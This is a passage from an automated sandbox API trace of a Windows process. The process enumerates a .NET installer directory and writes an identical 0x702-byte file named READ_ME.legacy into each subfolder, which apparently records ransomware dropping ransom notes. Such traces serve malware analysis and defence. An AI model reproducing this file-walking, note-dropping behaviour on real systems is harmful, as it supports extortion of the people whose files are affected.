lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.385] CloseHandle (hObject=0x454) returned 1 [0067.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0067.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0067.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.385] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Client", cAlternateFileName="")) returned 1 [0067.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0067.385] GetLastError () returned 0x0 [0067.385] SetLastError (dwErrCode=0x0) [0067.385] GetLastError () returned 0x0 [0067.385] SetLastError (dwErrCode=0x0) [0067.385] GetLastError () returned 0x0 [0067.385] SetLastError (dwErrCode=0x0) [0067.385] GetLastError () returned 0x0 [0067.386] SetLastError (dwErrCode=0x0) [0067.386] GetLastError () returned 0x0 [0067.386] SetLastError (dwErrCode=0x0) [0067.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0067.386] GetLastError () returned 0x0 [0067.386] SetLastError (dwErrCode=0x0) [0067.386] CreateFileW (lpFileName="\\588bce7c90097ed212\\Client\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\client\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556710 | out: hHeap=0x520000) returned 1 [0067.388] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.389] CloseHandle (hObject=0x454) returned 1 [0067.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0067.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.389] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0067.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0067.389] GetLastError () returned 0x0 [0067.389] SetLastError (dwErrCode=0x0) [0067.389] GetLastError () returned 0x0 [0067.389] SetLastError (dwErrCode=0x0) [0067.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0067.389] GetLastError () returned 0x0 [0067.390] SetLastError (dwErrCode=0x0) [0067.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aad0 | out: hHeap=0x520000) returned 1 [0067.390] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0067.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0067.390] GetLastError () returned 0x0 [0067.390] SetLastError (dwErrCode=0x0) [0067.390] GetLastError () returned 0x0 [0067.390] SetLastError (dwErrCode=0x0) [0067.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.390] GetLastError () returned 0x0 [0067.390] SetLastError (dwErrCode=0x0) [0067.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0067.390] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Extended", cAlternateFileName="")) returned 1 [0067.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.390] GetLastError () returned 0x0 [0067.390] SetLastError (dwErrCode=0x0) [0067.390] GetLastError () returned 0x0 [0067.391] SetLastError (dwErrCode=0x0) [0067.391] GetLastError () returned 0x0 [0067.391] SetLastError (dwErrCode=0x0) [0067.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d168 | out: hHeap=0x520000) returned 1 [0067.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0067.391] GetLastError () returned 0x0 [0067.391] SetLastError (dwErrCode=0x0) [0067.391] GetLastError () returned 0x0 [0067.391] SetLastError (dwErrCode=0x0) [0067.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0067.391] GetLastError () returned 0x0 [0067.391] SetLastError (dwErrCode=0x0) [0067.391] CreateFileW (lpFileName="\\588bce7c90097ed212\\Extended\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\extended\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0067.392] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.393] CloseHandle (hObject=0x454) returned 1 [0067.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0067.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0067.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.393] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Graphics", cAlternateFileName="")) returned 1 [0067.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.393] GetLastError () returned 0x0 [0067.393] SetLastError (dwErrCode=0x0) [0067.393] GetLastError () returned 0x0 [0067.393] SetLastError (dwErrCode=0x0) [0067.393] GetLastError () returned 0x0 [0067.393] SetLastError (dwErrCode=0x0) [0067.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0067.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0067.394] GetLastError () returned 0x0 [0067.394] SetLastError (dwErrCode=0x0) [0067.394] GetLastError () returned 0x0 [0067.394] SetLastError (dwErrCode=0x0) [0067.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.394] GetLastError () returned 0x0 [0067.394] SetLastError (dwErrCode=0x0) [0067.394] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0067.400] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.401] CloseHandle (hObject=0x454) returned 1 [0067.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0067.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0067.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0067.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0067.401] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0067.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.401] GetLastError () returned 0x0 [0067.401] SetLastError (dwErrCode=0x0) [0067.401] GetLastError () returned 0x0 [0067.401] SetLastError (dwErrCode=0x0) [0067.402] GetLastError () returned 0x0 [0067.402] SetLastError (dwErrCode=0x0) [0067.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0067.402] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0067.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.403] GetLastError () returned 0x0 [0067.403] SetLastError (dwErrCode=0x0) [0067.403] GetLastError () returned 0x0 [0067.403] SetLastError (dwErrCode=0x0) [0067.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.403] GetLastError () returned 0x0 [0067.403] SetLastError (dwErrCode=0x0) [0067.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0067.403] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0067.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.403] GetLastError () returned 0x0 [0067.403] SetLastError (dwErrCode=0x0) [0067.404] GetLastError () returned 0x0 [0067.404] SetLastError (dwErrCode=0x0) [0067.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.404] GetLastError () returned 0x0 [0067.404] SetLastError (dwErrCode=0x0) [0067.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aa98 | out: hHeap=0x520000) returned 1 [0067.404] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0067.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.404] GetLastError () returned 0x0 [0067.404] SetLastError (dwErrCode=0x0) [0067.404] GetLastError () returned 0x0 [0067.404] SetLastError (dwErrCode=0x0) [0067.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.404] GetLastError () returned 0x0 [0067.404] SetLastError (dwErrCode=0x0) [0067.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aa98 | out: hHeap=0x520000) returned 1 [0067.404] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0067.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.405] GetLastError () returned 0x0 [0067.405] SetLastError (dwErrCode=0x0) [0067.405] GetLastError () returned 0x0 [0067.405] SetLastError (dwErrCode=0x0) [0067.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.405] GetLastError () returned 0x0 [0067.405] SetLastError (dwErrCode=0x0) [0067.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aad0 | out: hHeap=0x520000) returned 1 [0067.405] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0067.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.405] GetLastError () returned 0x0 [0067.405] SetLastError (dwErrCode=0x0) [0067.405] GetLastError () returned 0x0 [0067.405] SetLastError (dwErrCode=0x0) [0067.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.405] GetLastError () returned 0x0 [0067.406] SetLastError (dwErrCode=0x0) [0067.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aa98 | out: hHeap=0x520000) returned 1 [0067.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ba8 | out: hHeap=0x520000) returned 1 [0067.406] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0067.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.406] GetLastError () returned 0x0 [0067.407] SetLastError (dwErrCode=0x0) [0067.407] GetLastError () returned 0x0 [0067.407] SetLastError (dwErrCode=0x0) [0067.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.407] GetLastError () returned 0x0 [0067.407] SetLastError (dwErrCode=0x0) [0067.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aa98 | out: hHeap=0x520000) returned 1 [0067.407] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0067.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0067.407] GetLastError () returned 0x0 [0067.407] SetLastError (dwErrCode=0x0) [0067.407] GetLastError () returned 0x0 [0067.407] SetLastError (dwErrCode=0x0) [0067.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.407] GetLastError () returned 0x0 [0067.407] SetLastError (dwErrCode=0x0) [0067.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aad0 | out: hHeap=0x520000) returned 1 [0067.408] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83a2b2c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb83a2b2c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb83a2b2c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0067.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.408] GetLastError () returned 0x0 [0067.408] SetLastError (dwErrCode=0x0) [0067.408] GetLastError () returned 0x0 [0067.408] SetLastError (dwErrCode=0x0) [0067.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.408] GetLastError () returned 0x0 [0067.408] SetLastError (dwErrCode=0x0) [0067.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2a8 | out: hHeap=0x520000) returned 1 [0067.408] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0067.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.408] GetLastError () returned 0x0 [0067.408] SetLastError (dwErrCode=0x0) [0067.408] GetLastError () returned 0x0 [0067.408] SetLastError (dwErrCode=0x0) [0067.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.409] GetLastError () returned 0x0 [0067.409] SetLastError (dwErrCode=0x0) [0067.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aa98 | out: hHeap=0x520000) returned 1 [0067.409] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0067.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0067.409] GetLastError () returned 0x0 [0067.409] SetLastError (dwErrCode=0x0) [0067.409] GetLastError () returned 0x0 [0067.409] SetLastError (dwErrCode=0x0) [0067.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.409] GetLastError () returned 0x0 [0067.409] SetLastError (dwErrCode=0x0) [0067.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aa98 | out: hHeap=0x520000) returned 1 [0067.409] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0067.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.409] GetLastError () returned 0x0 [0067.409] SetLastError (dwErrCode=0x0) [0067.410] GetLastError () returned 0x0 [0067.410] SetLastError (dwErrCode=0x0) [0067.410] GetLastError () returned 0x0 [0067.410] SetLastError (dwErrCode=0x0) [0067.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2a8 | out: hHeap=0x520000) returned 1 [0067.410] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0067.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.410] GetLastError () returned 0x0 [0067.410] SetLastError (dwErrCode=0x0) [0067.410] GetLastError () returned 0x0 [0067.410] SetLastError (dwErrCode=0x0) [0067.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.410] GetLastError () returned 0x0 [0067.410] SetLastError (dwErrCode=0x0) [0067.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0067.410] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0067.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0067.410] GetLastError () returned 0x0 [0067.410] SetLastError (dwErrCode=0x0) [0067.411] GetLastError () returned 0x0 [0067.411] SetLastError (dwErrCode=0x0) [0067.411] GetLastError () returned 0x0 [0067.411] SetLastError (dwErrCode=0x0) [0067.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: 